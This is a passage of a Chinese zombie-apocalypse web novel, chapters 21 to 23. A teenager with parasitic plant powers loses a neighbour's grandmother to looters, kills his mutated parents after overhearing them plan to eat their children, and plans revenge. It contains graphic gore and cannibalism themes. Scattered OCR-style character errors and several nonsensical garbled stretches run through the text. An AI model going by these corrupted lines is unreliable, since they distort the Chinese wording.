眼前的场面血腥又残暴,谢崇宜却眼也不眨,他又重新回首,继续跟乌珩说话。 “这些蛇刚破壳,所以这里一定有雌蛇,乌珩,你就是杀了雌蛇的人,你让它们失去了母亲。 乌珩头一回生出了想要扇人耳光的冲动。 可他仅仅只是垂着眼睫,喃喃道:“我怕蛇。 又是否认。 谢崇宜将乌珩的脸抬了起来,他手掌温热,手指洁白修长,一只手就能托住乌珩的脸。 他拇指摩挲着乌珩的脸颊,带下来一小块凝固的蛇血血痂,他看见却无视,反而用温柔而又无害的语气轻叹,“乌珩,你这么像蛇,为什么还会怕蛇?" 21、第21章 乌珩不习惯也不喜欢跟人靠太近,哪怕是从小一起长大的林梦之也不行。 但对于谢崇宜的靠近,他竟然没有感到厌恶。他想,或许是因为谢崇宜闻起来实在是美味,世界上没有一个人能对着送上门来的食物做到无动于衷。乌珩压下翻腾的食欲,“我之前问你的问题,你说面议。谢崇宜看了乌珩一会儿,他起身拉开了与乌珩的距离,“什么问题?"“触发异能的条件,异能觉醒期间应该怎么度过,能量核的使用方法,”乌珩从沙地里上站起来,与谢崇宜面对面,“有关你知道的一切,我都想要知道。谢崇宜的桃花眼下意识眯了起来,他忽地一笑:“可以。乌珩蹙眉,觉得对方答应得也太轻易了,按照谢崇宜的性格,他应该再刁难自己一万次,最后再给一个似是而非的答案。“乌珩,我没你想的那么好,可我也没那么坏,你难道没有发现,我一直都很乐于将我获得的信息分享给你,还有他们。”谢崇宜说道。乌珩脸上出现了一个大大的“没”字,但他没有说出口。再次开口时,谢崇宜敛起了玩笑的语气,他恢复成乌珩印象里,灾难开始之前疏离冷清的模样。“异能觉醒是随机的,每个人都有可能,觉醒的条件无从得知。''每种异能觉醒期间会出现的情况不一样,你想了解的情况是什么?"乌珩回忆着,“体温升高,很高,高到普通人不能近身,最后是皮肉开始发黑,皮肤下面偶尔还有红色的微光闪出。""大概率是火系相关的异能,你的梦之运气很好。”"为什么?"“火系相关的异能基本都是纯攻击类,宜远战也宜近战,”谢崇宜解答的语气平静,回答完之后,他看着鸟珩,“你的异能是什么?""我没有异能。”乌珩认为自己这也不算是撒谎,“我只是一个普通人。你为什么会知道这么多?”少年紧跟着问道。谢崇宜笑了一声,意味不明,“从第一例听谓的狂人病出现时我就开始关注类做事件,到第二例第三例出现时,我动身去事发地探察走访过,根据周国人所猫述的情况,发病者与狂人病的发病症状毫不相似。“有关几十例狂犬病病例,其中只有一例对外宣称已治愈出院,其他病例都是含糊其辞,不了了之。""地球上的一切生物都是应环境而生,应环境而变,我不妨告诉你,变异植物的出现在是在两年前,两年前的3月,国内植保专家在金色长岭发现一棵高47米的白释树,打破了国内最高白种铺29米的记录,我后来动身过去测量时,它已经长到了63米,中间间隔的时间不过一个月。“除了北方的金色长岭,南方平芝的白云山,普洱市的蝴蝶谷,以及离我们比较近的神门峡,都有探测到以前未曾出现过的植物景象,探则结果在官方公众号和网站都有公布,只不过,愿意去了解的人太少了。谢崇宜所说的这些,乌珩一概不知。“谢谢你告诉我这些,但是,你为什么会觉得这些景象的出现就代表了灾难即将开始的预兆?“我从未说过这是一场灾难,“谢崇宜语气冷淡,“我认为这更像是地球生命的一次更新,一次进化,所以现在地球上的全体生命,都站在同一起跑线上,现在人类不仅可以成为自己想要成为的任何人,还能成为任何猪,任问狗。“我想,这可能会成为地球生命史上最公平的一次进化与竞争,乌珩,你怎么看?"乌珩呐呐:“我不知道。但他喜欢现在。尽管怪物满布,危机四伏,尽管他没有觉醒异能,可现在的世界足够残酷,足够客观,充斥着血与屠,可是,他真的喜欢“那么我再问你,这里的雌蛇是你杀的吗?”谢崇宜比乌珩高了不少,他微微俯身,望着少年的眼睛.乌珩摇摇头,“不是我。“是我的鸟杀的。"不管真不真,少年肩膀上的鹦鹉将胸脯挺了起来,谢崇宜扫了这只变异鹦鹉一眼,点点头,“挺厉害。然后,他又说:“乌珩你以后没必要在这种事情上对我撒谎,我又不会抢你得到的东西。 谢崇宜忽然笑眯眯,“我是双异能者,以我们的关系深度,只能知道一个,你想知道哪一个?" 乌珩惊住:“双异能?" “选吧。” 乌珩当然想知道更厉害的那一个,“你刚刚杀那些幼蛇看起来很轻松。 “那是空间,但我的等级还很低。“但是…………”乌珩想说自己看到的并不是那样。“我刚刚不是说,所有生物都在同一起跑线上?"谢崇宜弯着眼睛,还动手戳了戳乌珩的脸,“只不过,我又刚好跑在了你们的前面。乌珩刚想开口问你到底把其他人甩了多远时,谢崇宜改戳为捏,还嘟哝着,“你脸怎么这么软,明明脸上看起来都什么肉。”H 看见乌珩语塞,谢崇宜才收回手,“我在学校大概还会待半个月左右,你要是愿意跟我一起去京州的话,可以来找我。“为什么要去京州?" “大城市,机会多啊。乌珩垂眼沉思了会儿,点点头答应下来,“好,我们去京州。回去的路上,吃饱喝足的乌珩绞杀了那棵仙人掌,它没有想象中厉害,还处于只会抖刺的阶段。乌珩从它的根部剖出一颗拇指大的浅绿能量核,它给乌珩的的能量强度比前面变异蛇的能量核要弱了三倍不止,可却令他感到异常的舒活温暖,。藤条小心探过来,将能量核卷走,一小团绿色光芒无声进发,时间一分一秒过去,光芒消散,能量核也不见踪影。“汕人掌与你同源,你们应该都是木属性,能量核应该也都是木属性,所以你能吸收它的能量核,但不能吸收变异的能量核,因为蛇需火。”乌的已经感知到了体内被能量核催动的能量,能量汇进左的,做乎是在与原生能量做融合,完成融合后,它才泵给身体其他部位。少年用手摸了摸眼前的藤条,表面比之前硬了点儿。“以后我会给你喂更多能量核,别让我失望。”乌珩眼神幽沉,语气柔婉道。这下,不仅藤条贴了上来,X也开始用脑袋蹭他的颈窝。鹦鹉属火,X会主动又贴又蹭地卖好,估计是惦记上他书包里的火系能量核。“这颗要给梦之,你那一份以后再说。X振翅,离开了乌珩的肩头。 "喂不熟的鸟。"乌珩冷冷道,但并不放在心上。 小跑着回到了小区,乌珩在楼栋的不远处顿下脚步——他们楼栋周围聚集着密密麻麻的丧尸。 乌珩估量着丧尸的数量不少于50只,但它们为什么会聚集在这周围,他早上离开的时候,周围加起来还不到10只. 他并不惧怕丧尸,甚至不惧怕死亡,他只是…. 少年视线在看见林梦之家敞开的门时,心神骤裂。 拎着断了刃的半把刀,乌珩直接杀进了丧尸群。 一个接一个丧尸倒下,又一个接一个丧尸闻声嘶吼着而来,乌珩满头满脸的污血,看起来简直快要跟丧尸没有分别了。 他从丧尸群里冲出,没走正门,直接翻进院子,走进屋内,里面一地狼藉,几个丧尸挤在林梦之的房间门口拍打吼叫着。 几根藤条刺过去,几个丧尸的脑袋在同一瞬间被捅穿. 乌珩关上门,走过去踹开丧尸的尸体,他抬手敲了敲门,“是我。 过了半天,门后面响起老人虚弱的声音,“暗号。 “对几把对。" 门一下从里面打开,满头是血的老人脱力地摔进少年的怀里。乌珩赶紧将人抱到了沙发上安置着,倒了半盆水先给林奶奶擦脸上的血,额头上的伤口慢慢暴露在了他的眼下,半个拳头大的一个血窟窿,鲜血正汩汩地往外渗,沿着下颌,淌到沙发上老人呻吟了一声,她的脸已经变得蜡白,“那些,杀千刀的,锁进来抢东西,打人。”“梦之在发烧,你怎么都不告诉我?”乌珩蹲在沙发前,“怕你担心。”“我担心个屁,他体质好得很。”但乌珩还是告诉了老人实话,“梦之应该是觉醒了异能。"“那是不是就不用怕刚刚那些东西了?”林奶奶的精神好了点儿。“差不多。"“那我就放心了。”说完,林奶奶口中吐出一口气息,像是从身体深处蜿蜒而来。“他很快就可以苏醒了,你再等等。”乌珩握紧老人的手,说道.“阿珩啊啊。“人死之前才会这么说话,你别说话。”乌珩冷着面色,但只有他自己知道他现在害怕了。他讨厌害怕,害怕等于承认自己的弱小,就算他曾经被命运踩在脚底下蹂躏十几年,他也,从未害怕过,就算他曾被人杀死在市郊,被变异植物啃食,他也没有害怕过。可是,眼前的老人一“你比林梦之聪明,以后你就给我带着他,他要是不听你的话,你就抽他,使劲抽,这小子太皮实。“你们也别住在这里了,去找个安全的地方,这里的人,以前还真是看不出来。“我那20万的养老金,林梦之一直惦记着想拿它开饭店,你把钱收着,等他懂事点儿了再给他。说完这些话之后,老人抽了一口长气,身体从上到下地抽搐,平静下来后,她脑袋扭向林梦之的房间,“这小子怎么还没醒,闭眼之前我连一声老东西都听不上了。乌珩朝不远处的X看过去。鹦鹉跳下沙发,蹑手蹑脚走到林梦之门口开始仿声。“老东西。“奶奶。“别死。听到了林梦之的声音,林奶奶的表情才变得真正的平静,甚至满足。“死了好,死了免得当你们兄弟俩的拖累,到时候,又嫌我吃得多啦,走得慢啦,还眼睛瞎。 乌珩说不会。老人说这些话已经用光了力气,她慢慢闭上了眼睛过了很久,乌珩才敢伸出手去探老人的气息,虽然微弱,但气息尚存确认老人只是昏睡过去后,乌珩才小心地起身,他先去找到了消毒水和纱布,给老人做了彻底的清理和消毒。然后他检查了客厅和两个卧室所有的物资,食物基本全被搬空,食物以外的物资倒剩了不少,估计是灾难开始还不久,他们只意识到缺乏食物这一个问题。将一些七歪八倒的家具恢复原位后,乌珩又打扫了地面,经过沙发时,他发现老人本来放在肚子上的手垂下了沙发边沿.乌珩蹲下,动作僵硬得像个机器人,他深吸一口气,住了老人的手。很冰,很凉。 过去半天,少年才俯身趴在了老人身旁,屋子里响起压抑的低泣。 凌晨,林梦之的房间门打开了,他头顶鸡窝,扶着门狂打哈欠,“老子怎么那么饿呢。 他哈欠打得汩眼朦胧,好半天才看见了客厅里还趴在沙发边上的乌珩,以及躺在沙发上的奶奶。 听见动静,乌珩手指动了动,他身体酸涩僵硬,脖子酸得更是半响抬不起来。 待他抬起头时,林梦之已经走到了面前。 “睡这儿干嘛啊,你咋不回去睡?”林梦之完全没有注意到自己的夜间视力,“不是,我身上怎么这么臭,衣服还变这么破?" 乌珩:“奶奶去世了。 ".….”林梦之露出一个夸张的小丑表情。 乌珩则没有表情,“下午五点,三十二分,去世了。" 林梦之这才收起自己的扮丑,他弯下腰,也这才看见老人衣襟上的鲜血,以及尽失血色干瘪苍白的脸,还有头上的纱布。 “我不信。”林梦之一下直起腰,背过身。 我上午出门后,楼里的人趁我没在测门进了你家,打伤了奶奶,抢走了所有食物,估计是因为门损坏了,丧尸进来了,奶奶躲在你的房间,一直抵着你房间的门,直到我到家。”乌珩慢条断里,他不欧断,一旦断,他就无法再说下去。 林梦之再转过身的时候,眼睛已经血红,他语气饱含恨意,“你为什么要出门?" 乌珩哑然:"对不起。" “你为什么要出门?你为什么要出门?”林梦之怒吼着,一把就掐住了乌珩的脖子。 乌珩咚一声摔在地板上,连挣扎都没有。 他习惯了被虐待,身体上的疼痛不足为惧,他也不放在眼里。 他的脸开始充血,变成绯红色,眼睛越发的漆黑,瞳孔表面虞美人花的花纹若隐若现,他的神情如同面临死亡的魔鬼,享受,徜徉,更有一种异类看人的蔑视与悲哀。 X从后面用两只爪子不停地抓着林梦之的后脑勺。 “傻逼!傻逼!傻逼!” 林梦之恢复理智,猛地就松了手,他的恨意变成歉意,他一路爬到沙发边,摸到了老人的手,“老东西?老东西?你别吓老子啊。 “林玲凤?林玲凤!" 他性格外放,哭得也外放。 “你都看不见,你肯定怕死了。 “都怪我,你之前就说这个锁太老了让我换,我懒得听你的。 “我知道你一把年纪了你早晚得死,但是,你死之前怎么说也得,再抱抱我。 乌珩一言不发地走到门外,他在台阶上坐下来,看着被哭声引过来的丧尸,不动声色 直到丧尸游荡了他的眼前,他才用藤条击杀。 丧尸一只接着一只倒在少年的面前。 在月光下,乌珩的脸冷艳而又透明。他表情宁静,在丧尸的嘶吼声中显得怡然自得,可疯狂挥动并且充满杀意的黑色藤条才是这副阴郁美丽的躯壳的真正灵魂, 今时不同往日,林梦之没哭太久,乌珩被叫进去时,发现老人已经被转移到了卧室的床上,寿衣也换上了。 “对不起。 “对不起。 两人异口同声道。 林梦之这才看见乌珩的脖子被他掐出了一道红黑的伤痕。 乌珩皮肤本就白,有点什么痕迹就明显得很,现在的伤如同烫伤,边沿发黑,中间露出粉红的嫩肉,简直是触目惊心。 “为什么会这样?”林梦之低头看了看自己的手。 “明天告诉你,今天先休息吧。”乌珩有点累,而且又饿了。 况且,现在林梦之应该没有讨论异能相关的心情。 “你上去睡吧,我陪陪老东西。"林梦之哽咽了一声,他醒来还没换衣服洗漱,形同乞丐,就这么蜷缩在了林奶奶卧室的地板上。 乌珩带上消毒水和绷带,顺手还在墙角里捡了一包被漏掉的饼干在手里,回到了家中。 家里三人估计都还睡着,乌珩推开乌芷房间的门,将饼干放到了她的床头。 离开乌芷房间时,隔壁房间的窃窃私语声传入少年的耳朵。 隔壁,是乌世明和曾丽珂所在的主卧。 乌珩带上乌芷房间的门,他站在两个房间之间,背靠着墙壁,微微仰头,静静聆听着另一扇门后面的说话声。 “"家里已经没有吃的了!什么都没有了!乌芷的零食都被我们吃完了!下午去林梦之家里跟他们一起抢的那点东西根本就没办法吃,我要吃肉!" 女人的声音明明很低,语气却像是歇斯底里的喊叫。 男人的声音跟她差不多。 “你跟我吼什么?我从哪里去搞肉给我们吃?外面全是丧尸,你敢出门你出门,反正我不出去。 里面传出摔东西的声音,男女的声音时而清晰时而沙哑,时而伴随着浑浊不清的低吼 “够了!家里不是还有小芷和鸟珩吗?”男人吼叫道。 女人似乎没明白,“家里有他们怎么了?” 男人说:“他们不是也能吃吗?" 女人的声音过了大半天才响起,迟疑着:“可他们是我们的儿子和女儿,我们是他们的爸爸和妈妈啊,这样好像不太好。 男人愤怒地说:“他们是我们一把屎一把尿养大的,现在这种时刻,他们身为子女,喂养我们本来就是她们的义务! 大概是女人还在犹豫,男人接着说:“不直接吃,先放血,等他们死了我们再下口,他们也感觉不到痛了。 “听你这么说,我们做父母的也是仁至义尽了啊。”女人说完后轻叹。 男人附和:“的确如此。” 乌珩低下了头,黑天鹅绒质地的短发垂落在线条平滑秀气的额骨前,而眼睫下投落的块状阴影却如同死影 “那我们有一个儿子一个女儿,乌芷是差二两就一百斤,乌珩好像是连一百二十斤都不到. “乌珩一米七六的个子怎么就这么点重?" “他一直就很瘦啊,你总打他。" “跟我有什么关系,早知道有这一天,就应该拿喂食器往他胃里灌!让他长个两三百斤,还能让我们多吃两天。 “现在别说这么多了,”有了食物,女人情绪都稳定了不少,她柔声问,“你说,我们是先吃鸟珩呢,还是先吃鸟芷?" 男人还没来得及说出自己的想法,门把手下沉,吱一声,卧室的门被从外面轻轻推开了。 少年挺拔清瘦的身影出现在门口,他面容的漂亮太清浅,只有在某些个特定时分才会尤为突出,比如当下的杀戮时刻。 雪白掌心的藤条探了一截出来,蠢蠢欲动,乌珩看着脸颊深凹,神情呆滞的男女,弯唇后开口道:“妈妈,我饿了,能让我先吃你一口吗? 22、第22章 门内夫妻俩两个靠在床头,与末世前在床头温馨夜话时并无两样, “乌珩,过来。”比起曾丽珂的柔声细语,乌世明的语气就要严厉多了,乌珩眼底幽黑,“别废话了,动手吧。"“乌珩,你怎么跟长辈说话的?”乌世明掀开了被子,他摇摇晃晃地朝少年奔去。他脸上所剩无几的皮肉正在滴滴答答地融化,像一根燃烧殆尽的人油蜡烛。乌珩闪身避开男人扑过来的身躯,同时扬手按住他的后颈,“砰”的一声,他将男人的脑袋狠狠往房门上撞去。伴随着门框的晃动和男人的嘶叫,乌珩目光漠然,一脚将软倒在脚边的身躯踹了出去。乌世明化作一团流着黄水的烂肉撞上窗户,他慢慢爬起来。咕叽,咕叽,咕叽,咕叽。几声过后,男人的腋下钻出几条比正常手臂要短要细的小手,它们朝着乌珩所在的方向兴冲冲地抓个不停。 只是乌珩眼前这两只人已经因为饥饿而迅速消瘦,他们如同被人皮紧裹的两家骷髅,两侧面颊的凹陷与陷进去的眼窝同样大,浑浊迟钝的眼神在看见少年的时候闪过亮光 营丽可慢慢坐直了上身,她不停用手抚弄着耳后的头发,一缕装的发丝从头皮上掉落,编在她的帽关节,她摸着一床的落发,心内产生领惑,但这凝惑很快就被蓬发的合欲给盖了过去,她曲出姑要的手,拍了拍床沿。“乌疏,过来培妈妈坐一分 L 这两人的性格在这时候互换了,在末世来临以前,一边柔声细语说话一边扇乌珩耳光的基本都是乌世明,而曾丽珂一直以来都是个泼辣性子。 “噫,老公你长得好恶心。”还在床上坐着的曾丽珂突然出声道。 话音刚落,她翻身跃起,身体猛地拔长,趴在床上,犹如一只人形的蜥蜴。 “阿珩,爸爸妈妈养你也不容易,别让我们对你失望,好吗?" 这是乌世明最常对少年说的话,他通常会在将少年揍得奄奄一息之后,温柔地抚着少年脑袋,说出这样的话。 但现在说出这样的话的人,是曾丽珂。 两人一直以来都站在同一条战线上,目的相同,只是扮演的角色不同。 乌珩一步一步走进房问内,他低头看着女人削尖了的头颅,“妈妈,我当然不会令你失望。 女人昂起了脖子。 "等我把你们吃了,我会如你们所愿,抚养乌芷到她死,还满意吗?”乌珩居高临下,语气淡然。 身旁空气撕裂的风声传来,乌珩余光一闪,他跃到一旁时,背后藤枝箭矢般朝扑过来的乌世明刺去。 乌世明一个转身躲过藤刺,脚下地板砰砰被扎裂几块,木屑飞溅。 藤刺没有给乌世明反应的机会,一个反身便圈住了男人的脖子,不断收紧。 唧的一声,男人的一颗眼珠从眼眶里蹦了出来,他发出嘶哑的怪物叫喊,却不是痛喊,听起来是因为饥饿. “这可是缅甸柚木地板,我挑花了眼买回来的!”女人只注意到了被连着断了好几块的地板。 她给乌珩的能量强度要比乌世明的强上一大截。 地板的被破坏激怒了她。 她的五指延长,弯曲,化成爪牙直接朝乌珩的左胸前挖去。 乌珩眼底映出女人变形扭曲的手指,他后退一步,小幅度侧身后,他一把住对方干硬的手臂。 曾丽珂的眼睛瞪大,她的身躯被拖离了床,乌珩猛地发力,她被重重摔在地上,身上的某几处骨头传来断裂声。 乌珩则毫不犹豫用鞋底踩住了她的脖颈,她的身体扭来扭去,像一只长了四足和人脸的虫子。 但乌珩的脸上却出现了不符合此情此景的恍然表情,“妈妈,原来将您踩在脚下是这样的感觉。" 再是怪物,脖子也是柔软的,乌珩膝盖微曲,他稍微加了力度,另一头的草藤也持续在收紧。 它们快要窒息了,肢体疯狂地捣腾。 有点可爱,乌珩扬起嘴角。 “乌珩”曾丽珂眼底掠过清明,她手臂搭上少年的膝盖,突然哀泣,“乌珩,我是妈妈啊。 “我知道啊,”乌珩脚下力道始终不减,他神情冷淡,“妈妈想吃我,我也想吃妈妈。 一根颜色浅的发白的青藤从乌珩身后徐徐伸出,终于可以进食了,藤刺蹭了蹭女人的眉心,竖了起来,寻找着插/入的最佳位置, 她眉心的皮肤还是跟以前一样洁白光滑。 乌珩有些出神。 他看见了十几年前的曾丽珂和乌世明,那是更加年轻的他们,在产房的外面,他听见了自己呱落地后的啼哭。 乌世明的大手接过他与襁褓,仰视视角中,乌珩能隐约看见因为激动而隐隐发红的脸。 “辫贞亮以为肇兮,杂技艺以为珩,我想好了,我的第一个孩子就叫乌珩,我希望他勇敢善良,聪明能干,乌珩,乌珩.…”乌世明将他高高地举了起来,周围的欢声笑语都表示着所有人都很期待他的降临。 从小到大,乌珩从未受到如此热烈的簇拥。 他紧绷的身体放松了一瞬间,只是一瞬间。 他脚下的女人翻身爬起,尖爪从少年颈前深而快地划过去。 一股尖锐的疼痛自脖颈传遍乌珩的全身。 噗呲。 血线裂开,少年脖颈从中断开,热血在刹那间涌出。 乌珩的眼前天旋地转,他的视线跟随着脑袋的落地转了又转,藤条簌簌响,很快就全部缩回了他的身体 他眼睛半合,看见自己如同一根失去树冠的树桩的身体笔直地倾倒在地,鲜血从断开处狂喷。 看着眼前这一幕,少年眼神沉郁,太血腥了。 曾丽珂和乌世明喘着粗气地挪到他的身体面前,两人几乎是同时跪趴了下来。 “乌珩,我的儿子,我的孩子,呜鸣,我的孩子啊。”曾丽珂将额头贴在了地板上,她流出眼泪,一边哭,一边用舌头狂舔着从乌珩身体里流出来的血液. 乌珩闭上眼睛。 耳边一道惨叫传来,两根自乌珩心脏位置钻出来的绿色藤条同时分别刺穿了曾丽珂和乌世明的左胸口,藤刺将他们摇摇晃晃地高举起来。 咕咚咕咚,他们的身体慢慢地瘪下去,他们用惶恐的眼神看着身体下方——那一具明明已经成为了他们的盘中餐的身躯。 血流缓慢的渐面处控出几荐娇撤的绿色,它们在易首四处搜寻,确定了方向以后,细如发丝的小芽爬过地面上的血河,找到了被丢至一边的少年头烦,它们钻进去,慢慢将头领拖了回去,重新与身体连接 乌珩踉跄着从地上爬起来,大量的失血让他的脸色惨白。 曾丽珂看着他,艰难地开口,“乌珩,我是妈妈啊。" 乌珩却定定地看了她半天,自言自语道:“幻术?” 如果不是幻术,他怎么可能会记得自己刚出生时候的景象,更论回忆。 他抬手便将曾丽珂的脑袋拧到了手里,背后的青藤如蛇群般蜂拥挤进了曾丽珂的身体,最后只剩下一身她常穿的家居服轻轻飘在了地上。 少年心底出现一阵不可忽视的剧痛。 长痛不如短痛,咔嚓一声,乌世明的脑袋被一条青藤干净利落地拧断。 乌珩在床尾坐下。 房间里四处滑行挥动的藤条他没去看,也没管,放任它们自由发挥。 乌珩脸上的血色逐渐地回来了,皮肤恢复莹润,底下染上了一层淡淡的红晕,嘴樱红湿润。 7口上听ダ“口 “哥哥” 小女孩不可置信的声音微弱地从门外传来,她不知道已经在那个位置站了多久。 她穿着睡衣,抱着那只又丑又旧的猴子娃娃,眼睛瞪得很大,“那些,是什么?”她看向乌珩身后。 主枝趴在乌珩的肩头,有些羞涩地朝乌芷站得位置晃了晃,算是打招呼 但乌芷看不出来,只看得见这些像蛇一样的植物活生生地撕碎了两只跟她爸爸妈妈很像的鬼,然后被撕碎的鬼就不见踪影了,它们把鬼吃了! “是我。”乌珩不动声色地看着她。 “爸爸妈妈呢?"乌芷对哥哥的回答接受良好,她只管揪布娃娃,紧张地问,她没有在主卧的床上看到爸爸妈妈的身影. 乌珩修长的睫毛扑了两下,淡淡道:“爸爸妈妈变成蝴蝶飞走了。 乌芷倒吸了一口凉气,眼泪从她眼眶中滚滚而下,“天啦一 藤条全部收起来,主卧一地狼藉,但不管是地面还是空气,都找不见一丝怪物和血腥存在的痕迹。 在房间门口抽噎了良久的乌芷一步一步走到了乌珩的面前。 乌珩抬头看她,表情疲惫懒倦。 “哥哥。”乌芷抽泣着开口。 “嗯? 乌芷伸出手,将单只手掌贴在了乌珩的脸上,“哥哥别哭,我不会变成蝴蝶飞走的,我会一直陪着你。 小女孩的手掌温热,碰到自己冰凉脸颊的那一刻,乌珩才知道,不知道何时,自己早已经满脸都是湿凉的眼泪。 说是各自休息,其实不管是乌珩还是林梦之或是乌芷,都一夜无眠而一夜无眠的,更不仅仅只有他们。还有这栋楼里抱着侥幸心理的幸存者,天光大亮,乌芷的房间门被推开,乌珩语气冷淡,“带上日用品和两身换洗的衣裳,我们去别的地方。乌芷躺在床上,眨巴眨巴眼,她虽然智商不高,但最会看乌珩的脸色,她没去思考也思考不了,翻身就从床上爬了起来,从衣柜里拖出了自己的粉白格子行李袋。乌珩站在厨房,他想知道怎么进去自己的心脏空间。上次是刺穿手心才进去的,难道每次进空间都得扎一次手心?但乌珩不怜惜他人,更加不怜惜自己,他从橱柜里取了把水果刀,将右手掌心朝上放在了水池边。少年眼神无波无澜地把刀往下方刺去,但刀尖碰到皮肤的前一秒,他眼前白光一闪,进入了心脏的空间。昨天剩下来的变异蛇蛇肉整整齐齐地码放在墙边。乌珩本来以为装下蛇肉后肯定就剩不了多少空间可以使用,但今天进来一看,所剩空间的面积跟他估算的有不小的出入。他又沿着空间走了一圈,最后在那株草旁边停下脚步。他确定,空间的面积变大了,虽然增长不多。蹲了会儿,乌珩缓缓蹲下身,他用细长的手指比了比墙边的植株,单纯用手指测量,好像完全没有变化这种事情没办法告诉除了他自己以外的人一起商量探讨,乌芷太蠢,林梦之太憨,谢崇宜太精.乌珩用手指摸了摸植株不算光滑的叶子,,感觉自己心也痒嗖嗖的。他起身摸了摸耳朵,只能靠猜,可能是昨天吸收了变异仙人掌的能量核的缘故?与他共生的虞美人不可能就进入他的身体时起便停止生长,它现在依旧存活着,所以应该也跟人类一样有属于自己的生长阶段。只不过与人类生长需要的碳水维生素蛋白质等不太相同,能促成它成长的应该是能量核,还得跟它同样也是木系才醒。同理,它的生长所需,也是自己的生长所需。乌珩摸了下手心,出了空间,手里还拿了块蛇肉出来。“乌芷,可以走了。”乌珩一手拿着蛇肉,一手拎着早已经收拾好的行李袋。乌芷营着沉甸甸的行李袋跑出房间,站到了乌珩面前,满头大汗,“来了来了!"乌珩站着没动,打量着她,“你不想爸爸妈妈?"“想啊,但是现在外面都是怪物,变成蝴蝶飞走了反倒是一件好事情吧,我也想变成蝴蝶!”乌芷眼睛慢慢红了。乌珩没再说话,转身往外走,乌芷也马上跟在了他的身后。出门口,乌珩扬手将钥匙丢进了旁边的垃圾桶,哐当一声,他面色平静,乌芷倒是被吓了一跳。乌珩并不会舍不得身后这个房子,毕竟这个房子的每个角落都有他挨打的痕迹。楼下的林梦之一夜没睡,他保持一个姿势在地板上躺了一夜,也看了奶奶一夜。乌珩带着乌芷进屋后,没去打扰他,而是径直走进厨房,开了火开始做早饭。跟外面客厅和卧室的糟乱不同,厨房里一片整洁干净,那些撬门进来的人好像把厨房给漏了.乌珩揭开燃气灶上的蒸锅锅盖,那几碗成烧白还好好地在里面。少年眼睛发涩,他抬手,只留了一碗在外面,将其他的都收进了空间里。将厨房简单收拾后,乌珩才开始做早饭。他不善厨艺,倒不是因为不聪明所以不善,而是他以前都是在糊弄曾丽珂和乌世明,尽管他闭着眼睛都能炒几个滋味不错的菜出来,可他不想。今天早上这顿早餐是他做得最认真也是最投入的一次。他将蛇肉洗净剁成泥,一部分用来熬了一大锅粥,一部分用来煎了一大薄脆的煎饼乌芷坐在厨房的地上,她已经饿了两天,昨晚床头的饼干她吃完只觉得更饿了,现在又有了吃的,还是热乎乎的煎饼,她吃了一只又一只。厨房还有剩的几根又长又粗的白萝卜和半袋子士豆,乌珩让吃饱了的乌芷给它们都削了皮切了丝。白萝卜丝和土豆丝分开拌上佐料,照例惠上面糊摊成一只只煎饼。味道是按照乌珩自己以前喜欢的口味做的,他没有考虑其他人,只考虑了什么样的食物方便携带,还管饱扛饿.林梦之从老人房间里出来时,厨房里食物的香气飘遍了整个客厅,在热气蒸腾的厨房,他看见乌珩拿着锅铲,一脸冷清地站在燃气灶前。从末世开始到现在顶多一周的时间,乌珩变了许多,身上的气质不再畏缩虚弱,林梦之如今时常在对方身上看见以前被藏起来了的凌人锋芒。楼里的人以前每每碰见他跟乌珩在一起,都打趣说乌珩这样绵软的好性子才适合去当厨子,一道菜炒上千八百遍乌珩都不会嫌烦。但林梦之知道,事实并非像他们说的那样,乌珩可不是一个好脾气好耐性的家伙,相反,他脾气极差,耐性极差。但乌珩,也不是没有耐性好的时候,他的耐性只会用在折磨他人这一件事情上面。就像坐在他脚边的乌芷,乌芷的眼里连曾丽珂和乌世明都没有了,她像乌珩的小尾巴,眼里只有乌珩,这绝对不是那两口子一开始的打算乌珩做饭也不像是在做饭,顶着一张对世间一切事物都不感兴趣的郁郁不振的脸,比起做饭,更像是在给人上坟,令食客看了食欲全无。林梦之目光触到了乌珩脖子上那几圈白色绷带上面,乌珩面容本就单薄虚弱至极,受了伤更是显得没几天活头了,脆弱得像一棵无根的植株他不禁又低头看着自己的手,他昨天太冲动了,这种事情,他怎么能怪阿珩。那些人可能也是因为太饿了,现在这样的情况,他谁也怪不了。''做这么多煎饼做什么?”林梦之走到厨房门口,用平时吊儿郎当的语气找乌珩说话“我准备去找谢崇宜,然后去京州,路上得准备点食物带着。 乌珩专注地看着锅里,头也没回 “京州?去京州干什么?”林梦之不解。 乌珩语气一顿。 他总不能告诉林梦之他打算在去京州的路上将谢崇宜拆吃入腹,最后会不会去京州还说不定。 “大城市,机会多,我想出人头地。”乌珩用了谢崇宜昨天给的理由。 林梦之摸着下巴,“确实如此。 没多考虑,林梦之又说:“老东西没了,我一个人留在这里也没什么意思,我跟你一起去京州。" “但是,你为什么要跟谢崇宜一起?他之前还想杀你,虽然那时候你差点变成了丧尸,但我觉得他那个人肯定特别毒辣,伴谢崇宜如伴虎,我觉得我们自己去京州也行。 乌珩摇了摇头,看似很冷静地分析道:“汉州距离京州一千多公里,谁也说不准路上会遇到什么情况,就我们两个,可能连汉州城都出不了。" 林梦之叹了口气,说也是,“那你爸妈还有乌芷你打算怎么办?不管了? “嗯!”乌芷咬着煎饼,惊惶地抬头,“我跟着我哥哥,我跟你们一起!" “你不要你爸爸妈妈了?”林梦之蹲下来逗她。 “爸爸妈妈变成蝴蝶飞走了。" 林梦之觉得乌芷不愧是傻子。 “不用管他们,我们走我们的。”乌珩将煎好的饼搁到一边凉着,又开始摊新的一锅, 林梦之后知后觉地察觉自己饥肠辘辘,他伸手抓了几只早就已经晾凉的煎饼,在一起往嘴里塞 “不管他们也行,反正是两个畜生。”他含糊不清地非常赞同乌珩的决定。 都开始专心吃东西之后,厨房里只剩下了连续的咀嚼声和锅里滋滋的声音。 乌珩的脸被不断上升的热雾萦绕得时隐时现,他手拿着长筷,像是快要在热雾里化成一道幻影了。 “梦之,走之前我们还要做一件事情。”他垂着柔软的颈子,徐徐的声音像是从很遥远的地方传进地面上蹲着的两人一鸟的耳朵里 两人一鸟一块抬起头,看向他。 “什、什么事?" 乌珩的声音轻而又冷冽,“给奶奶讨一个道理。 “道理……”提起奶奶,林梦之的脸猛然煞白,心也开始阵痛,他表情痛苦道:“怎么讨?" 乌珩神色平静,睫毛挡住瞳孔中出现又瞬间消泯的猩红,他唇微张,声音轻得可怕,“欠债还钱,杀人偿命。 23、第23章 林梦之张了张口,“吃掉他们吗?" 乌珩脸上露出了半秒钟嫌恶的表情,“你以为我什么都吃吗?" 